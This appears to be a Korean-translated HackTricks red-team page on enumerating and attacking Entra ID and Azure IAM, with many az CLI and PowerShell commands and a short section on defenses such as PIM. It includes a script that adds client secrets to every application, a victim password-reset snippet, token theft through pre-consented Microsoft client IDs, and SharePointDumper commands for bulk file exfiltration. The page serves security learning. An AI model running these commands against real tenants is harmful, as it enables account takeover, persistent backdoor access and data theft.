Az - Entra ID (AzureAD) & Azure IAM

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

Azure Active Directory (Azure AD)는 Microsoft의 클라우드 기반 identity 및 access management 서비스입니다. 직원들이 조직 내외부의 리소스에 로그인하고 접근할 수 있도록 지원하며, Microsoft 365, the Azure portal 및 다양한 다른 SaaS 애플리케이션을 포함합니다. Azure AD의 설계는 핵심 identity 서비스 제공에 중점을 두며, 특히 인증, 권한 부여 및 사용자 관리를 제공합니다.

Azure AD의 주요 기능으로는 다중 요소 인증조건부 액세스가 있으며, 다른 Microsoft 보안 서비스와의 원활한 통합을 지원합니다. 이러한 기능들은 사용자 신원의 보안을 크게 향상시키고 조직이 접근 정책을 효과적으로 구현 및 강제할 수 있도록 돕습니다. Microsoft의 클라우드 서비스 생태계의 근간으로서, Azure AD는 사용자 신원의 클라우드 기반 관리에 있어 매우 중요합니다.

열거

연결

az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity

# Login as service principal
## With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
## With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

어떤 프로그램으로든 CLI를 통해 Azurelogin하면, 당신은 Microsoft에 속한 tenantAzure Application을 사용하고 있는 것입니다. 계정에서 생성할 수 있는 것들과 마찬가지로, 이러한 Applications는 have a client id를 가집니다. 콘솔에서 볼 수 있는 allowed applications lists에는 이들 모두가 표시되지 않을 수 있지만, but they are allowed by default.

예를 들어, authenticates하는 powershell script는 client id **1950a258-227b-4e31-a9cf-717495945fc2**를 가진 app을 사용합니다. 해당 app이 콘솔에 표시되지 않더라도, sysadmin은 block that application하여 사용자가 해당 App을 통해 연결하는 도구로 접근하지 못하게 할 수 있습니다.

그러나 other client-ids를 가진 애플리케이션들이 will allow you to connect to Azure:

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

테넌트

# List tenants
az account tenant list

사용자

Entra ID 사용자에 대한 자세한 정보는 다음을 확인하세요:

Az - Basic Information

# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all

# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq

사용자 비밀번호 변경

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA 및 Conditional Access 정책

모든 사용자에게 MFA를 설정하는 것을 강력히 권장합니다. 그러나 일부 회사는 이를 설정하지 않거나 Conditional Access로 설정할 수 있습니다: 사용자가 특정 위치나 브라우저 또는 일부 조건에서 로그인하면 MFA가 요구됩니다. 이러한 정책들은 올바르게 구성되지 않으면 bypasses에 취약할 수 있습니다. 확인:

Az - Conditional Access Policies & MFA Bypass

그룹

Entra ID 그룹에 대한 자세한 정보는 다음을 확인하세요:

Az - Basic Information

# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>

# To get Entra ID roles assigned check how it's done with users and use a group ID

그룹에 사용자 추가

그룹의 소유자는 그룹에 새 사용자를 추가할 수 있습니다.

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

Warning

그룹은 동적일 수 있으며, 이는 기본적으로 사용자가 특정 조건을 만족하면 그룹에 추가됩니다. 물론, 조건이 사용자가 제어할 수 있는 속성에 기반한다면, 그는 이 기능을 악용하여 다른 그룹에 들어갈 수 있습니다.
다음 페이지에서 동적 그룹을 악용하는 방법을 확인하세요:

Az - Dynamic Groups Privesc

Service Principals

Entra ID service principals에 대한 자세한 정보는 다음을 확인하세요:

Az - Basic Information

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine

# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Warning

Service Principal의 Owner는 password를 변경할 수 있습니다.

각 Enterprise App에 대해 client secret을 나열하고 추가해 보세요 ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications.

.PARAMETER GraphToken Pass the Graph API Token

.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken ‘eyJ0eX..’

.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>

[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )

$AppList = $null $AppPassword = $null

List All the Applications

$Params = @{ “URI” = “https://graph.microsoft.com/v1.0/applications” “Method” = “GET” “Headers” = @{ “Content-Type” = “application/json” “Authorization” = “Bearer $GraphToken” } }

try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }

Add Password in the Application

if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject

$Params = @{ “URI” = “https://graph.microsoft.com/v1.0/applications/$ID/addPassword” “Method” = “POST” “Headers” = @{ “Content-Type” = “application/json” “Authorization” = “Bearer $GraphToken” } }

$Body = @{ “passwordCredential”= @{ “displayName” = “Password” } }

try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName “Object ID” -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName “App ID” -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName “App Name” -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName “Key ID” -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName “Secret” -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output “Failed to add new client secret to ‘$($App.displayName)’ Application.” } } if($Details -ne $null) { Write-Output “” Write-Output “Client secret added to : “ Write-Output $Details | fl * } } else { Write-Output “Failed to Enumerate the Applications.” } }

</details>

### 애플리케이션

애플리케이션에 대한 자세한 정보는 다음을 확인하세요:

<a class="content_ref" href="../az-basic-information/index.html"><span class="content_ref_label">Az - Basic Information</span></a>

앱이 생성되면 3가지 유형의 권한이 부여됩니다:

- **Permissions**: **Service Principal**에 부여되는 권한(roles를 통해).
- **Permissions**: **app**이 사용자를 대신하여 가질 수 있고 사용할 수 있는 권한.
- **API Permissions**: 다른 역할이 해당 권한을 부여할 필요 없이 EntraID에 대한 권한을 앱에 부여하는 권한.

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
모든 애플리케이션의 API 권한을 찾아 Microsoft-owned APIs에 표시하기 (az cli) ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

{{#endtab }}

{{#tab name="Az" }}
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential

{{#endtab }}

{{#tab name=“MS Graph” }}

# List Applications using Microsoft Graph PowerShell
Get-MgApplication -All

# Get application details
Get-MgApplication -ApplicationId 7861f72f-ad49-4f8c-96a9-19e6950cffe1 | Format-List *

# Search App by display name
Get-MgApplication -Filter "startswith(displayName, 'app')" | Select-Object DisplayName

# Get owner of an application
Get-MgApplicationOwner -ApplicationId <ApplicationId>

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Applications

{{#endtab }}

{{#tab name=“Azure AD” }}

# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id>  | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *

{{#endtab }} {{#endtabs }}

Warning

권한 AppRoleAssignment.ReadWrite 를 가진 앱은 스스로 해당 역할을 부여하여 Global Admin 으로 권한 상승할 수 있습니다.
For more information check this.

Note

애플리케이션이 토큰을 요청할 때 자신의 정체성을 증명하기 위해 사용하는 비밀 문자열이 application password입니다.
따라서 이 password 를 찾으면 service principal inside the tenant 로 접근할 수 있습니다.
이 비밀번호는 생성될 때만 확인 가능하다는 점(변경은 가능하지만 다시 얻을 수 없음)에 유의하세요.
해당 applicationowner 는 여기에 add a password 할 수 있습니다(이를 통해 가장할 수 있음).
이들 service principals 로의 로그인은 not marked as risky 로 표시되지 않으며 won’t have MFA.

It’s possible to find a list of commonly used App IDs that belongs to Microsoft in https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications

Managed Identities

For more information about Managed Identities check:

Az - Basic Information

# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals

Azure 역할

Azure 역할에 대한 자세한 내용은 다음을 확인하세요:

Az - Basic Information

# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"

Entra ID 역할

Azure 역할에 대한 자세한 내용은 다음을 확인하세요:

Az - Basic Information

# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"

# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"

# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"

# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"

# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

장치

# If you know how to do this send a PR!

Warning

If a device (VM) is AzureAD joined, users from AzureAD are going to be able to login.
Moreover, if the logged user is Owner of the device, he is going to be local admin.

관리 단위

관리 단위에 대한 자세한 정보는 다음을 확인하세요:

Az - Basic Information

# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"

Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)

공격자는 delegated Microsoft Graph tokenSites.Read.All 또는 Sites.ReadWrite.All 권한이 포함되어 있으면 Graph를 통해 sites/drives/items를 열거한 다음, SharePoint pre-authentication download URLs(액세스 토큰을 포함하는 시간 제한 URL)를 통해 파일 내용을 가져올 수 있습니다. SharePointDumper 스크립트는 전체 흐름(열거 → pre-auth 다운로드)을 자동화하고 탐지 테스트용으로 요청별 텔레메트리를 출력합니다.

Obtaining usable delegated tokens

  • SharePointDumper 자체는 인증을 수행하지 않습니다; 액세스 토큰(선택적으로 refresh token)을 제공해야 합니다.
  • 사전 동의된 first-party clients는 앱을 등록하지 않고도 Graph 토큰을 발급하는 데 악용될 수 있습니다. 예: Invoke-Auth (from EntraTokenAid) 호출:
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob'  # OneDrive (FOCI TRUE)

# Other pre-consented clients
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient'              # Teams (FOCI TRUE)
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint'        # SharePoint (FOCI TRUE)
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)

Note

FOCI TRUE 클라이언트는 장치 간 refresh를 지원합니다; FOCI FALSE 클라이언트는 reply URL 출처 검증을 만족시키기 위해 종종 -Origin이 필요합니다.

SharePointDumper를 사용한 enumeration + exfiltration 실행

  • custom UA / proxy / throttling을 사용한 기본 dump:
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
  • 범위 제어: 사이트 또는 확장 포함/제외 및 전역 한도:
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
  • 재개 중단된 실행 (재열거하되 다운로드된 항목은 건너뜁니다):
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
  • HTTP 401에서의 자동 token 갱신 (EntraTokenAid가 로드되어 있어야 함):
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'

운영 노트:

  • 중간 실행 만료를 피하기 위해 CAE-enabled 토큰을 선호합니다; 갱신 시도는 도구의 API 로그에 기록되지 않습니다.
  • CSV/JSON request logsGraph + SharePoint에 대해 생성하며, 포함된 SharePoint 다운로드 토큰은 기본적으로 마스킹됩니다(토글 가능).
  • 탐지/IR 테스트 중 트래픽 조절을 위해 custom User-Agent, HTTP proxy, per-request delay + jitter, 및 Ctrl+C-safe shutdown을 지원합니다.

Entra ID Privilege Escalation

Az - EntraID Privesc

Azure Privilege Escalation

Az - Azure IAM Privesc (Authorization)

방어 메커니즘

Privileged Identity Management (PIM)

Azure의 Privileged Identity Management (PIM)는 사용자가 불필요하게 과도한 권한을 할당받지 않도록 돕습니다.

PIM의 주요 기능 중 하나는 역할을 항상 활성 상태로 할당하지 않고 일정 기간 동안 eligible로 설정(예: 6months) 할 수 있게 해준다는 점입니다. 사용자가 해당 역할을 활성화하려면 필요한 시간(예: 3시간)을 명시하여 요청해야 하며, 그 요청은 관리자 승인이 필요합니다.
사용자는 또한 시간 연장 요청을 할 수 있습니다.

또한, PIM은 권한 있는 역할이 할당될 때 이메일을 전송합니다.

PIM이 활성화되면 각 역할에 대해 다음과 같은 요구사항을 구성할 수 있습니다:

  • 활성화 최대 지속 시간(시간)
  • 활성화 시 MFA 요구
  • 활성화 시 Conditional Access authentication context 요구
  • 활성화 시 정당성(justification) 요구
  • 활성화 시 티켓 정보 요구
  • 활성화 승인 요구
  • eligible 할당의 만료까지의 최대 시간
  • 해당 역할과 관련된 특정 동작이 발생할 때 누구에게 알림을 보낼지 등 추가 구성

Conditional Access Policies

Check:

Az - Conditional Access Policies & MFA Bypass

Entra Identity Protection

Entra Identity Protection은 사용자가 또는 sign-in 시도가 수용되기에는 너무 위험한지 감지하고, 해당 사용자나 sign-in 시도를 차단할 수 있게 해주는 보안 서비스입니다.

관리자는 위험도가 “Low and above”, “Medium and above” 또는 “High“일 때 시도를 차단하도록 구성할 수 있습니다. 다만 기본적으로는 완전히 비활성화되어 있습니다:

Tip

현재는 동일한 옵션을 설정할 수 있는 Conditional Access 정책을 통해 이러한 제한을 추가하는 것이 권장됩니다.

Entra Password Protection

Entra Password Protection (https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)은 여러 번의 로그인 실패가 발생할 때 계정을 잠가 약한 암호의 악용을 방지하는 보안 기능입니다.
또한 관리자가 제공한 맞춤형 암호 목록을 차단할 수 있습니다.

이는 클라우드 수준과 온-프레미스 Active Directory 양쪽에 적용할 수 있습니다.

기본 모드는 Audit입니다:

참조

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기